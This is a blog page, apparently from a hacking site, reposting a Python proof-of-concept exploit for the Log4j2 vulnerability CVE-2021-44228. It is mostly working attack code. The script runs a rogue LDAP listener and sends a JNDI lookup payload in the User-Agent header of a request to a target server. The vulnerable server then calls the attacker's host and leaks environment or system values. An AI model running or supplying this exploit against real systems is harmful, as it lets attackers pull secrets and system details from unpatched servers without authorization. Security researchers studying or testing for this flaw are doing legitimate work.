Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863100619

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Apache Log4j2 2.14.1 - Information Disclosure
# Date: 12/12/2021
# Exploit Author: leonjza
# Vendor Homepage: https://logging.apache.org/log4j/2.x/
# Version: <= 2.14.1
# CVE: CVE-2021-44228

#!/usr/bin/env python3

# Pure python ENV variable leak PoC for CVE-2021-44228
# Original PoC: https://twitter.com/Black2Fan/status/1470281005038817284
#
# 2021 @leonjza

import argparse
import socketserver
import threading
import time

import requests

LDAP_HEADER = b'\x30\x0c\x02\x01\x01\x61\x07\x0a\x01\x00\x04\x00\x04\x00\x0a'


class ThreadedTCPRequestHandler(socketserver.BaseRequestHandler):
    def handle(self) -> None:
        print(f' i| new connection from {self.client_address[0]}')

        sock = self.request
        sock.recv(1024)
        sock.sendall(LDAP_HEADER)

        data = sock.recv(1024)
        data = data[9:]  # strip header

        # example response
        #
        # ('Java version 11.0.13\n'
        #  '\x01\x00\n'
        #  '\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x0b'
        #  'objectClass0\x00\x1b0\x19\x04\x172.16.840.1.113730.3.4.2')

        data = data.decode(errors='ignore').split('\n')[0]
        print(f' v| extracted value: {data}')


class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass


def main():
    parser = argparse.ArgumentParser(description='a simple log4j
<=2.14 information disclosure poc '
                                                 '(ref:
https://twitter.com/Black2Fan/status/1470281005038817284)')
    parser.add_argument('--target', '-t', required=True, help='target uri')
    parser.add_argument('--listen-host', default='0.0.0.0',
                        help='exploit server host to listen on
(default: 127.0.0.1)')
    parser.add_argument('--listen-port', '-lp', default=8888,
help='exploit server port to listen on (default: 8888)')
    parser.add_argument('--exploit-host', '-eh', required=True,
default='127.0.0.1',
                        help='host where (this) exploit server is reachable')
    parser.add_argument('--leak', '-l', default='${java:version}',
                        help='value to leak. '
                             'see:
https://twitter.com/Rayhan0x01/status/1469571563674505217 '
                             '(default: ${java:version})')
    args = parser.parse_args()

    print(f' i| starting server on {args.listen_host}:{args.listen_port}')
    server = ThreadedTCPServer((args.listen_host, args.listen_port),
ThreadedTCPRequestHandler)

    serv_thread = threading.Thread(target=server.serve_forever)
    serv_thread.daemon = True
    serv_thread.start()
    time.sleep(1)
    print(f' i| server started')

    payload = f'${{jndi:ldap://{args.exploit_host}:{args.listen_port}/{args.leak}}}'
    print(f' i| sending exploit payload {payload} to {args.target}')

    try:
        r = requests.get(args.target, headers={'User-Agent': payload})
        print(f' i| response status code: {r.status_code}')
        print(f' i| response: {r.text}')
    except Exception as e:
        print(f' e| failed to make request: {e}')
    finally:
        server.shutdown()
        server.server_close()


if __name__ == '__main__':
    main()